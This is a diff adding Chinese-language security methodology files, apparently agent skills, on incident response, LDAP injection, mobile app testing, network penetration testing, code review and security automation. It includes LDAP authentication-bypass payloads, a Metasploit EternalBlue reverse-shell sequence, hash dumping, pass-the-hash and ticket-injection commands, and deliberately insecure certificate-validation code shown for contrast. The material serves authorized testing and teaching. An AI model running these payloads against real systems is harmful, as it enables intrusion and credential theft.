5. 修复漏洞
**检查项目:**
- 泄露数据量
- 受影响用户
- 泄露渠道
- 数据敏感性
### 拒绝服务
**响应步骤:**
1. 确认攻击类型
2. 启用防护措施
3. 过滤恶意流量
4. 监控系统状态
5. 恢复正常服务
**防护措施:**
- DDoS防护服务
- 流量清洗
- 限流措施
- CDN防护
### 未授权访问
**响应步骤:**
1. 禁用受影响账户
2. 重置凭证
3. 检查访问日志
4. 评估数据访问
5. 修复漏洞
**检查项目:**
- 访问时间
- 访问内容
- 访问来源
- 数据修改
## 响应清单
### 准备阶段
- [ ] 建立响应团队
- [ ] 制定响应计划
- [ ] 准备工具
- [ ] 建立通信渠道
### 识别阶段
- [ ] 确认事件
- [ ] 收集信息
- [ ] 评估影响
- [ ] 记录时间线
### 遏制阶段
- [ ] 隔离系统
- [ ] 禁用账户
- [ ] 阻断连接
- [ ] 备份证据
### 清除阶段
- [ ] 移除威胁
- [ ] 修复漏洞
- [ ] 重置凭证
- [ ] 验证清除
### 恢复阶段
- [ ] 恢复系统
- [ ] 验证完整性
- [ ] 监控系统
- [ ] 恢复服务
### 总结阶段
- [ ] 编写报告
- [ ] 总结经验
- [ ] 改进措施
- [ ] 更新流程
## 最佳实践
### 1. 准备
- 建立响应团队
- 制定响应计划
- 定期演练
- 准备工具
### 2. 响应
- 快速响应
- 系统化处理
- 记录所有操作
- 保护证据
### 3. 沟通
- 内部沟通
- 外部通知
- 状态更新
- 事后报告
### 4. 改进
- 事件分析
- 流程改进
- 工具更新
- 培训提升
## 注意事项
- 快速响应
- 保护证据
- 记录操作
- 遵守法律法规
+300
View File
@@ -0,0 +1,300 @@
---
name: ldap-injection-testing
description: LDAP注入漏洞测试的专业技能和方法论
version: 1.0.0
---
# LDAP注入漏洞测试
## 概述
LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。
## 漏洞原理
应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
**危险代码示例:**
```java
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);
```
## LDAP基础
### 查询语法
**基础查询:**
```
(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))
```
### 特殊字符
**需要转义的字符:**
- `(` `)` - 括号
- `*` - 通配符
- `\` - 转义符
- `/` - 路径分隔符
- `NUL` - 空字符
## 测试方法
### 1. 识别LDAP输入点
**常见功能:**
- 用户登录
- 用户搜索
- 目录浏览
- 权限验证
### 2. 基础检测
**测试特殊字符:**
```
*)(&
*)(|
*))(
*))%00
```
**测试逻辑操作符:**
```
*)(&(cn=*
*)(|(cn=*
*))(!(cn=*
```
### 3. 认证绕过
**基础绕过:**
```
用户名: *)(&
密码: *
查询: (&(cn=*)(&)(userPassword=*))
```
**更精确的绕过:**
```
用户名: admin)(&(cn=admin
密码: *))
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
```
### 4. 信息泄露
**枚举用户:**
```
*)(cn=*
*)(uid=*
*)(mail=*
```
**获取属性:**
```
*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*
```
## 利用技术
### 认证绕过
**方法1:逻辑绕过**
```
输入: *)(&
查询: (&(cn=*)(&)(userPassword=*))
结果: 匹配所有用户
```
**方法2:注释绕过**
```
输入: admin)(&(cn=admin
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
```
**方法3:通配符**
```
输入: *)(|(cn=*)(userPassword=*
查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
```
### 信息泄露
**枚举所有用户:**
```
搜索: *)(cn=*
结果: 返回所有cn属性
```
**获取密码哈希:**
```
搜索: *)(|(cn=*)(userPassword=*
结果: 返回用户和密码哈希
```
**获取敏感属性:**
```
搜索: *)(|(cn=*)(mail=*)(telephoneNumber=*
结果: 返回多个敏感属性
```
### 权限提升
**修改查询逻辑:**
```
原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
结果: 可能绕过权限检查
```
## 绕过技术
### 编码绕过
**URL编码:**
```
*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C
```
**Unicode编码:**
```
* → \u002A
( → \u0028
) → \u0029
```
### 注释绕过
**使用注释:**
```
*)(&(cn=*
*)(|(cn=*
```
### 空字符注入
**使用NULL字节:**
```
*))%00
```
## 工具使用
### JXplorer
**图形化LDAP客户端:**
- 连接LDAP服务器
- 浏览目录结构
- 执行查询测试
### ldapsearch
```bash
# 基础查询
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
# 测试注入
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
```
### Burp Suite
1. 拦截LDAP查询请求
2. 修改查询参数
3. 观察响应结果
### Python脚本
```python
import ldap3
server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
user='cn=admin,dc=example,dc=com',
password='password')
# 测试注入
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)
```
## 验证和报告
### 验证步骤
1. 确认可以控制LDAP查询
2. 验证认证绕过或信息泄露
3. 评估影响(未授权访问、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- LDAP查询构造方式
- 完整的利用步骤和PoC
- 修复建议(输入验证、参数化查询等)
## 防护措施
### 推荐方案
1. **输入验证**
```java
private static final String[] LDAP_ESCAPE_CHARS =
{"\\", "*", "(", ")", "\0", "/"};
public static String escapeLDAP(String input) {
if (input == null) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
sb.append("\\");
}
sb.append(c);
}
return sb.toString();
}
```
2. **参数化查询**
```java
// 使用LDAP API的参数化功能
String filter = "(&(cn={0})(userPassword={1}))";
Object[] args = {escapedCN, escapedPassword};
// 使用API构建查询
```
3. **白名单验证**
```java
// 只允许特定字符
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
throw new IllegalArgumentException("Invalid input");
}
```
4. **最小权限**
- LDAP连接使用最小权限账户
- 限制可查询的属性
- 使用访问控制列表
5. **错误处理**
- 不返回详细错误信息
- 统一错误响应
- 记录错误日志
## 注意事项
- 仅在授权测试环境中进行
- 注意不同LDAP服务器的语法差异
- 测试时避免对目录造成影响
- 了解目标LDAP服务器的配置
+370
View File
@@ -0,0 +1,370 @@
---
name: mobile-app-security-testing
description: 移动应用安全测试的专业技能和方法论
version: 1.0.0
---
# 移动应用安全测试
## 概述
移动应用安全测试是确保移动应用安全性的重要环节。本技能提供移动应用安全测试的方法、工具和最佳实践,涵盖Android和iOS平台。
## 测试范围
### 1. 应用安全
**检查项目:**
- 代码混淆
- 反编译防护
- 调试防护
- 证书绑定
### 2. 数据安全
**检查项目:**
- 数据加密
- 密钥管理
- 敏感数据存储
- 数据传输
### 3. 认证授权
**检查项目:**
- 认证机制
- Token管理
- 生物识别
- 会话管理
### 4. 通信安全
**检查项目:**
- TLS/SSL配置
- 证书验证
- API安全
- 中间人攻击防护
## Android安全测试
### 静态分析
**使用APKTool**
```bash
# 反编译APK
apktool d app.apk
# 查看AndroidManifest.xml
cat app/AndroidManifest.xml
# 查看Smali代码
find app/smali -name "*.smali"
```
**使用Jadx**
```bash
# 反编译APK
jadx -d output app.apk
# 查看Java源码
find output -name "*.java"
```
**使用MobSF**
```bash
# 启动MobSF
docker run -it -p 8000:8000 opensecurity/mobsf
# 上传APK进行分析
# 访问 http://localhost:8000
```
### 动态分析
**使用Frida**
```javascript
// Hook函数
Java.perform(function() {
var MainActivity = Java.use("com.example.MainActivity");
MainActivity.onCreate.implementation = function(savedInstanceState) {
console.log("[*] onCreate called");
this.onCreate(savedInstanceState);
};
});
```
**使用Objection**
```bash
# 启动Objection
objection -g com.example.app explore
# Hook函数
android hooking watch class_method com.example.MainActivity.onCreate
```
**使用Burp Suite**
```bash
# 配置代理
# Android设置代理指向Burp Suite
# 安装Burp证书
```
### 常见漏洞
**硬编码密钥:**
```java
// 不安全的代码
String apiKey = "1234567890abcdef";
String password = "admin123";
```
**不安全的存储:**
```java
// SharedPreferences存储敏感数据
SharedPreferences prefs = getSharedPreferences("data", MODE_WORLD_READABLE);
prefs.edit().putString("password", password).apply();
```
**证书验证绕过:**
```java
// 不验证证书
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() { return null; }
public void checkClientTrusted(X509Certificate[] certs, String authType) { }
public void checkServerTrusted(X509Certificate[] certs, String authType) { }
}
};
```
## iOS安全测试
### 静态分析
**使用class-dump**
```bash
# 导出头文件
class-dump app.ipa
# 查看头文件
find app -name "*.h"
```
**使用Hopper**
```bash
# 使用Hopper反汇编
# 打开app二进制文件
# 分析汇编代码
```
**使用otool**
```bash
# 查看Mach-O信息
otool -L app
# 查看字符串
strings app | grep -i "password\|key\|secret"
```
### 动态分析
**使用Frida**
```javascript
// Hook Objective-C方法
var className = ObjC.classes.ViewController;
var method = className['- login:password:'];
Interceptor.attach(method.implementation, {
onEnter: function(args) {
console.log("[*] Login called");
console.log("Username: " + ObjC.Object(args[2]).toString());
console.log("Password: " + ObjC.Object(args[3]).toString());
}
});
```
**使用Cycript**
```bash
# 附加到进程
cycript -p app
# 执行命令
[UIApplication sharedApplication]
```
### 常见漏洞
**硬编码密钥:**
```objective-c
// 不安全的代码
NSString *apiKey = @"1234567890abcdef";
NSString *password = @"admin123";
```
**不安全的存储:**
```objective-c
// Keychain存储不当
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setObject:password forKey:@"password"];
```
**证书验证绕过:**
```objective-c
// 不验证证书
- (void)connection:(NSURLConnection *)connection
didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
[challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust]
forAuthenticationChallenge:challenge];
}
```
## 工具使用
### MobSF
```bash
# 启动MobSF
docker run -it -p 8000:8000 opensecurity/mobsf
# 上传应用进行分析
# 支持Android和iOS
```
### Frida
```bash
# 安装Frida
pip install frida-tools
# 运行脚本
frida -U -f com.example.app -l script.js
```
### Objection
```bash
# 安装Objection
pip install objection
# 启动Objection
objection -g com.example.app explore
```
### Burp Suite
**配置代理:**
1. 配置Burp Suite监听器
2. 移动设备设置代理
3. 安装Burp证书
4. 拦截和分析流量
## 测试清单
### 应用安全
- [ ] 代码混淆检查
- [ ] 反编译防护
- [ ] 调试防护
- [ ] 证书绑定
### 数据安全
- [ ] 数据加密检查
- [ ] 密钥管理
- [ ] 敏感数据存储
- [ ] 数据传输安全
### 认证授权
- [ ] 认证机制测试
- [ ] Token管理
- [ ] 会话管理
- [ ] 生物识别
### 通信安全
- [ ] TLS/SSL配置
- [ ] 证书验证
- [ ] API安全测试
- [ ] 中间人攻击防护
## 常见安全问题
### 1. 硬编码密钥
**问题:**
- API密钥硬编码
- 密码硬编码
- 加密密钥硬编码
**修复:**
- 使用密钥管理服务
- 使用环境变量
- 使用安全存储
### 2. 不安全的存储
**问题:**
- 明文存储敏感数据
- 使用不安全的存储方式
- 数据未加密
**修复:**
- 使用加密存储
- 使用Keychain/Keystore
- 实施数据加密
### 3. 证书验证绕过
**问题:**
- 不验证SSL证书
- 接受自签名证书
- 证书固定未实施
**修复:**
- 实施证书固定
- 验证证书链
- 使用系统证书存储
### 4. 调试信息泄露
**问题:**
- 日志包含敏感信息
- 错误信息泄露
- 调试模式未禁用
**修复:**
- 移除调试代码
- 限制日志输出
- 生产环境禁用调试
## 最佳实践
### 1. 代码安全
- 实施代码混淆
- 禁用调试功能
- 实施反调试保护
- 使用证书绑定
### 2. 数据安全
- 加密敏感数据
- 使用安全存储
- 实施密钥管理
- 限制数据访问
### 3. 通信安全
- 使用TLS/SSL
- 实施证书固定
- 验证服务器证书
- 使用安全API
### 4. 认证安全
- 实施强认证
- 安全Token管理
- 实施会话管理
- 使用生物识别
## 注意事项
- 仅在授权环境中进行测试
- 遵守法律法规
- 注意不同平台的差异
- 保护用户隐私
+403
View File
@@ -0,0 +1,403 @@
---
name: network-penetration-testing
description: 网络渗透测试的专业技能和方法论
version: 1.0.0
---
# 网络渗透测试
## 概述
网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。
## 测试范围
### 1. 信息收集
**检查项目:**
- 网络拓扑
- 主机发现
- 端口扫描
- 服务识别
### 2. 漏洞扫描
**检查项目:**
- 系统漏洞
- 服务漏洞
- 配置错误
- 弱密码
### 3. 漏洞利用
**检查项目:**
- 远程代码执行
- 权限提升
- 横向移动
- 持久化
## 信息收集
### 网络扫描
**使用Nmap**
```bash
# 主机发现
nmap -sn 192.168.1.0/24
# 端口扫描
nmap -sS -p- 192.168.1.100
# 服务识别
nmap -sV -sC 192.168.1.100
# 操作系统识别
nmap -O 192.168.1.100
# 完整扫描
nmap -sS -sV -sC -O -p- 192.168.1.100
```
**使用Masscan**
```bash
# 快速端口扫描
masscan -p1-65535 192.168.1.0/24 --rate=1000
```
### 服务枚举
**SMB枚举:**
```bash
# 枚举SMB共享
smbclient -L //192.168.1.100 -N
# 枚举SMB用户
enum4linux -U 192.168.1.100
# 使用nmap脚本
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100
```
**RPC枚举:**
```bash
# 枚举RPC服务
rpcclient -U "" -N 192.168.1.100
# 使用nmap脚本
nmap --script rpc-enum 192.168.1.100
```
**SNMP枚举:**
```bash
# SNMP扫描
snmpwalk -v2c -c public 192.168.1.100
# 使用onesixtyone
onesixtyone -c wordlist.txt 192.168.1.0/24
```
## 漏洞扫描
### 使用Nessus
```bash
# 启动Nessus
# 访问Web界面
# 创建扫描任务
# 分析扫描结果
```
### 使用OpenVAS
```bash
# 启动OpenVAS
gvm-setup
# 访问Web界面
# 创建扫描任务
# 分析扫描结果
```
### 使用Nmap脚本
```bash
# 漏洞扫描
nmap --script vuln 192.168.1.100
# 特定漏洞扫描
nmap --script smb-vuln-ms17-010 192.168.1.100
# 所有脚本
nmap --script all 192.168.1.100
```
## 漏洞利用
### Metasploit
**基础使用:**
```bash
# 启动Metasploit
msfconsole
# 搜索漏洞
search ms17-010
# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
# 设置参数
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
# 执行
exploit
```
**后渗透:**
```bash
# 获取系统信息
sysinfo
# 获取权限
getsystem
# 迁移进程
migrate <pid>
# 获取哈希
hashdump
# 获取密码
run post/windows/gather/smart_hashdump
```
### 常见漏洞利用
**EternalBlue**
```bash
# 使用Metasploit
use exploit/windows/smb/ms17_010_eternalblue
# 使用独立工具
python eternalblue.py 192.168.1.100
```
**BlueKeep**
```bash
# 使用Metasploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
```
**SMBGhost**
```bash
# 使用独立工具
python smbghost.py 192.168.1.100
```
## 横向移动
### 密码破解
**使用Hashcat**
```bash
# 破解NTLM哈希
hashcat -m 1000 hashes.txt wordlist.txt
# 破解LM哈希
hashcat -m 3000 hashes.txt wordlist.txt
# 使用规则
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule
```
**使用John**
```bash
# 破解哈希
john hashes.txt
# 使用字典
john --wordlist=wordlist.txt hashes.txt
# 使用规则
john --wordlist=wordlist.txt --rules hashes.txt
```
### Pass-the-Hash
**使用Impacket**
```bash
# SMB Pass-the-Hash
python smbexec.py -hashes :<hash> domain/user@target
# WMI Pass-the-Hash
python wmiexec.py -hashes :<hash> domain/user@target
# RDP Pass-the-Hash
xfreerdp /u:user /pth:<hash> /v:target
```
### 票据传递
**使用Mimikatz**
```bash
# 提取票据
sekurlsa::tickets /export
# 注入票据
kerberos::ptt ticket.kirbi
```
**使用Rubeus**
```bash
# 请求票据
Rubeus.exe asktgt /user:user /domain:domain /rc4:hash
# 注入票据
Rubeus.exe ptt /ticket:ticket.kirbi
```
## 工具使用
### Nmap
```bash
# 完整扫描
nmap -sS -sV -sC -O -p- -T4 target
# 隐蔽扫描
nmap -sS -T2 -f -D RND:10 target
# UDP扫描
nmap -sU -p- target
```
### Metasploit
```bash
# 启动框架
msfconsole
# 数据库初始化
msfdb init
# 导入扫描结果
db_import nmap.xml
# 查看主机
hosts
# 查看服务
services
```
### Burp Suite
**网络扫描:**
1. 配置代理
2. 浏览目标网络
3. 分析流量
4. 主动扫描
## 测试清单
### 信息收集
- [ ] 网络拓扑发现
- [ ] 主机发现
- [ ] 端口扫描
- [ ] 服务识别
- [ ] 操作系统识别
### 漏洞扫描
- [ ] 系统漏洞扫描
- [ ] 服务漏洞扫描
- [ ] 配置错误检查
- [ ] 弱密码检查
### 漏洞利用
- [ ] 远程代码执行
- [ ] 权限提升
- [ ] 横向移动
- [ ] 持久化
## 常见安全问题
### 1. 未打补丁的系统
**问题:**
- 系统未及时更新
- 存在已知漏洞
- 补丁管理不当
**修复:**
- 及时安装补丁
- 建立补丁管理流程
- 定期安全更新
### 2. 弱密码
**问题:**
- 默认密码
- 简单密码
- 密码重用
**修复:**
- 实施强密码策略
- 启用多因素认证
- 定期更换密码
### 3. 开放端口
**问题:**
- 不必要的端口开放
- 服务暴露
- 防火墙配置错误
**修复:**
- 关闭不必要端口
- 实施防火墙规则
- 使用VPN访问
### 4. 配置错误
**问题:**
- 默认配置
- 权限过大
- 服务配置不当
**修复:**
- 安全配置基线
- 最小权限原则
- 定期配置审查
## 最佳实践
### 1. 信息收集
- 全面扫描
- 多工具验证
- 记录发现
- 分析结果
### 2. 漏洞利用
- 授权测试
- 最小影响
- 记录操作
- 及时清理
### 3. 报告编写
- 详细记录
- 风险评级
- 修复建议
- 验证步骤
## 注意事项
- 仅在授权环境中进行测试
- 避免对生产系统造成影响
- 遵守法律法规
- 保护测试数据
+286
View File
@@ -0,0 +1,286 @@
---
name: secure-code-review
description: 安全代码审查的专业技能和方法论
version: 1.0.0
---
# 安全代码审查
## 概述
安全代码审查是识别代码中安全漏洞的重要方法。本技能提供安全代码审查的方法、工具和最佳实践。
## 审查范围
### 1. 输入验证
**检查项目:**
- 用户输入验证
- 参数验证
- 数据过滤
- 边界检查
### 2. 输出编码
**检查项目:**
- XSS防护
- 输出编码
- 内容安全策略
- 响应头设置
### 3. 认证授权
**检查项目:**
- 认证机制
- 会话管理
- 权限控制
- 密码处理
### 4. 加密和密钥
**检查项目:**
- 数据加密
- 密钥管理
- 哈希算法
- 随机数生成
## 审查方法
### 1. 静态分析
**使用SAST工具:**
```bash
# SonarQube
sonar-scanner
# Checkmarx
# 使用Web界面
# Fortify
sourceanalyzer -b project build.sh
sourceanalyzer -b project -scan
# Semgrep
semgrep --config=auto .
```
### 2. 手动审查
**审查清单:**
- [ ] 输入验证
- [ ] 输出编码
- [ ] SQL注入
- [ ] XSS漏洞
- [ ] 认证授权
- [ ] 加密使用
- [ ] 错误处理
- [ ] 日志记录
### 3. 代码模式识别
**危险函数:**
```python
# Python危险函数
eval()
exec()
pickle.loads()
os.system()
subprocess.call()
```
```java
// Java危险函数
Runtime.exec()
ProcessBuilder()
Class.forName()
```
```php
// PHP危险函数
eval()
exec()
system()
passthru()
```
## 常见漏洞模式
### SQL注入
**危险代码:**
```java
String query = "SELECT * FROM users WHERE id = " + userId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
```
**安全代码:**
```java
String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();
```
### XSS漏洞
**危险代码:**
```javascript
document.innerHTML = userInput;
element.innerHTML = "<div>" + userInput + "</div>";
```
**安全代码:**
```javascript
element.textContent = userInput;
element.setAttribute("data-value", userInput);
// 或使用编码库
element.innerHTML = escapeHtml(userInput);
```
### 命令注入
**危险代码:**
```python
import os
os.system("ping " + user_input)
```
**安全代码:**
```python
import subprocess
subprocess.run(["ping", "-c", "1", validated_input])
```
### 路径遍历
**危险代码:**
```java
String filePath = "/uploads/" + fileName;
File file = new File(filePath);
```
**安全代码:**
```java
String basePath = "/uploads/";
String fileName = Paths.get(fileName).getFileName().toString();
String filePath = basePath + fileName;
File file = new File(filePath);
if (!file.getCanonicalPath().startsWith(basePath)) {
throw new SecurityException("Invalid path");
}
```
### 硬编码密钥
**危险代码:**
```java
String apiKey = "1234567890abcdef";
String password = "admin123";
```
**安全代码:**
```java
String apiKey = System.getenv("API_KEY");
String password = keyStore.getPassword("db_password");
```
## 工具使用
### SonarQube
```bash
# 启动SonarQube
docker run -d -p 9000:9000 sonarqube
# 运行扫描
sonar-scanner \
-Dsonar.projectKey=myproject \
-Dsonar.sources=. \
-Dsonar.host.url=http://localhost:9000
```
### Semgrep
```bash
# 安装
pip install semgrep
# 运行扫描
semgrep --config=auto .
# 使用规则
semgrep --config=p/security-audit .
```
### CodeQL
```bash
# 创建数据库
codeql database create database --language=java --source-root=.
# 运行查询
codeql database analyze database security-and-quality.qls --format=sarif-latest
```
## 审查清单
### 输入验证
- [ ] 所有用户输入都经过验证
- [ ] 使用白名单验证
- [ ] 验证数据类型和范围
- [ ] 处理特殊字符
### 输出编码
- [ ] HTML输出编码
- [ ] URL编码
- [ ] JavaScript编码
- [ ] SQL参数化
### 认证授权
- [ ] 强密码策略
- [ ] 安全的会话管理
- [ ] 权限验证
- [ ] 多因素认证
### 加密
- [ ] 使用强加密算法
- [ ] 密钥安全存储
- [ ] 传输加密
- [ ] 存储加密
### 错误处理
- [ ] 不泄露敏感信息
- [ ] 统一错误响应
- [ ] 记录错误日志
- [ ] 异常处理
## 最佳实践
### 1. 安全编码规范
- 遵循OWASP Top 10
- 使用安全编码指南
- 代码审查流程
- 安全培训
### 2. 自动化工具
- 集成SAST工具
- CI/CD安全检查
- 自动化扫描
- 结果分析
### 3. 代码审查流程
- 同行审查
- 安全专家审查
- 定期审查
- 记录问题
## 注意事项
- 结合工具和人工审查
- 关注业务逻辑漏洞
- 定期更新工具规则
- 建立安全编码文化
+383
View File
@@ -0,0 +1,383 @@
---
name: security-automation
description: 安全自动化的专业技能和方法论
version: 1.0.0
---
# 安全自动化
## 概述
安全自动化是提高安全运营效率的重要手段。本技能提供安全自动化的方法、工具和最佳实践。
## 自动化场景
### 1. 漏洞扫描
**自动化扫描:**
- 定期扫描
- CI/CD集成
- 结果分析
- 报告生成
### 2. 安全测试
**自动化测试:**
- 单元测试
- 集成测试
- 安全测试
- 回归测试
### 3. 事件响应
**自动化响应:**
- 事件检测
- 自动遏制
- 通知告警
- 证据收集
### 4. 合规检查
**自动化合规:**
- 配置检查
- 策略验证
- 报告生成
- 修复建议
## 工具和框架
### 漏洞扫描自动化
**使用Nessus API**
```python
import requests
# 创建扫描
def create_scan(target, scan_name):
url = "https://nessus:8834/scans"
headers = {"X-ApiKeys": "access_key:secret_key"}
data = {
"uuid": "template-uuid",
"settings": {
"name": scan_name,
"text_targets": target
}
}
response = requests.post(url, json=data, headers=headers)
return response.json()
# 启动扫描
def launch_scan(scan_id):
url = f"https://nessus:8834/scans/{scan_id}/launch"
headers = {"X-ApiKeys": "access_key:secret_key"}
response = requests.post(url, headers=headers)
return response.json()
```
**使用OpenVAS API**
```python
from gvm.connections import UnixSocketConnection
from gvm.protocols.gmp import Gmp
# 连接OpenVAS
connection = UnixSocketConnection()
gmp = Gmp(connection)
gmp.authenticate('username', 'password')
# 创建扫描任务
target = gmp.create_target(name='target', hosts=['192.168.1.0/24'])
config = gmp.get_configs()[0]
scanner = gmp.get_scanners()[0]
task = gmp.create_task(
name='scan_task',
config_id=config['id'],
target_id=target['id'],
scanner_id=scanner['id']
)
# 启动扫描
gmp.start_task(task['id'])
```
### CI/CD集成
**Jenkins Pipeline**
```groovy
pipeline {
agent any
stages {
stage('Security Scan') {
steps {
sh 'npm audit'
sh 'snyk test'
sh 'sonar-scanner'
}
}
stage('Vulnerability Scan') {
steps {
sh 'nmap --script vuln target'
}
}
}
post {
always {
publishHTML([
reportDir: 'reports',
reportFiles: 'report.html',
reportName: 'Security Report'
])
}
}
}
```
**GitHub Actions**
```yaml
name: Security Scan
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
- name: Run SonarQube
uses: sonarsource/sonarqube-scan-action@master
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
```
### 安全测试自动化
**使用OWASP ZAP**
```python
from zapv2 import ZAPv2
# 启动ZAP
zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080'})
# 开始扫描
zap.urlopen('http://target.com')
zap.spider.scan('http://target.com')
while int(zap.spider.status()) < 100:
time.sleep(1)
# 主动扫描
zap.ascan.scan('http://target.com')
while int(zap.ascan.status()) < 100:
time.sleep(1)
# 获取结果
alerts = zap.core.alerts()
```
**使用Burp Suite**
```python
from burp import IBurpExtender, IScannerCheck
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Security Automation")
callbacks.registerScannerCheck(self)
def doPassiveScan(self, baseRequestResponse):
# 被动扫描逻辑
return None
def doActiveScan(self, baseRequestResponse, insertionPoint):
# 主动扫描逻辑
return None
```
### 事件响应自动化
**使用Splunk**
```python
import splunklib.client as client
# 连接Splunk
service = client.connect(
host='splunk.example.com',
port=8089,
username='admin',
password='password'
)
# 搜索安全事件
search_query = 'index=security event_type="malware"'
kwargs = {"earliest_time": "-1h", "latest_time": "now"}
search = service.jobs.create(search_query, **kwargs)
# 处理结果
for result in search:
if result['severity'] == 'high':
# 自动响应
send_alert(result)
isolate_system(result['host'])
```
**使用ELK Stack**
```python
from elasticsearch import Elasticsearch
# 连接Elasticsearch
es = Elasticsearch(['localhost:9200'])
# 搜索安全事件
query = {
"query": {
"match": {
"event_type": "intrusion"
}
}
}
results = es.search(index="security", body=query)
# 自动响应
for hit in results['hits']['hits']:
if hit['_source']['severity'] == 'critical':
# 自动遏制
block_ip(hit['_source']['src_ip'])
send_alert(hit['_source'])
```
## 自动化脚本
### 漏洞扫描脚本
```python
#!/usr/bin/env python3
import subprocess
import json
import smtplib
from email.mime.text import MIMEText
def run_nmap_scan(target):
"""运行Nmap扫描"""
result = subprocess.run(
['nmap', '--script', 'vuln', '-oJ', '-', target],
capture_output=True,
text=True
)
return json.loads(result.stdout)
def analyze_results(results):
"""分析扫描结果"""
vulnerabilities = []
for host in results.get('hosts', []):
for port in host.get('ports', []):
for script in port.get('scripts', []):
if script.get('id') == 'vuln':
vulnerabilities.append({
'host': host['address'],
'port': port['portid'],
'vuln': script.get('output', '')
})
return vulnerabilities
def send_report(vulnerabilities):
"""发送报告"""
if vulnerabilities:
msg = MIMEText(f"发现 {len(vulnerabilities)} 个漏洞")
msg['Subject'] = '漏洞扫描报告'
msg['From'] = 'security@example.com'
msg['To'] = 'admin@example.com'
server = smtplib.SMTP('smtp.example.com')
server.send_message(msg)
server.quit()
if __name__ == '__main__':
target = '192.168.1.0/24'
results = run_nmap_scan(target)
vulnerabilities = analyze_results(results)
send_report(vulnerabilities)
```
### 配置检查脚本
```python
#!/usr/bin/env python3
import boto3
import json
def check_s3_buckets():
"""检查S3存储桶安全配置"""
s3 = boto3.client('s3')
buckets = s3.list_buckets()
issues = []
for bucket in buckets['Buckets']:
# 检查公开访问
try:
acl = s3.get_bucket_acl(Bucket=bucket['Name'])
for grant in acl.get('Grants', []):
if grant.get('Grantee', {}).get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers':
issues.append({
'bucket': bucket['Name'],
'issue': 'Public access enabled'
})
except:
pass
# 检查加密
try:
encryption = s3.get_bucket_encryption(Bucket=bucket['Name'])
except:
issues.append({
'bucket': bucket['Name'],
'issue': 'Encryption not enabled'
})
return issues
if __name__ == '__main__':
issues = check_s3_buckets()
print(json.dumps(issues, indent=2))
```
## 最佳实践
### 1. 自动化策略
- 识别可自动化场景
- 制定自动化计划
- 逐步实施
- 持续改进
### 2. 工具选择
- 评估工具功能
- 考虑集成性
- 考虑成本
- 测试验证
### 3. 流程设计
- 明确流程步骤
- 定义触发条件
- 设置异常处理
- 记录操作日志
### 4. 监控和维护
- 监控自动化任务
- 定期检查结果
- 更新规则和脚本
- 优化性能
## 注意事项
- 确保自动化准确性
- 设置适当的权限
- 保护自动化凭证
- 定期审查自动化规则
+285
View File
@@ -0,0 +1,285 @@
---
name: security-awareness-training
description: 安全意识培训的专业技能和方法论
version: 1.0.0
---
# 安全意识培训
## 概述
安全意识培训是提高组织整体安全水平的重要措施。本技能提供安全意识培训的方法、内容和最佳实践。
## 培训目标
### 1. 知识提升
**目标:**
- 了解安全威胁
- 识别安全风险
- 掌握防护措施
- 理解安全政策
### 2. 行为改变
**目标:**
- 养成安全习惯
- 遵守安全规范
- 主动报告事件
- 参与安全活动
### 3. 文化建立
**目标:**
- 建立安全文化
- 提高安全意识
- 促进安全协作
- 持续改进
## 培训内容
### 1. 基础安全
**内容:**
- 密码安全
- 账户安全
- 设备安全
- 网络安全
**密码安全:**
- 使用强密码
- 密码不重用
- 启用多因素认证
- 定期更换密码
**账户安全:**
- 保护账户信息
- 不共享账户
- 及时注销账户
- 监控账户活动
### 2. 邮件安全
**内容:**
- 识别钓鱼邮件
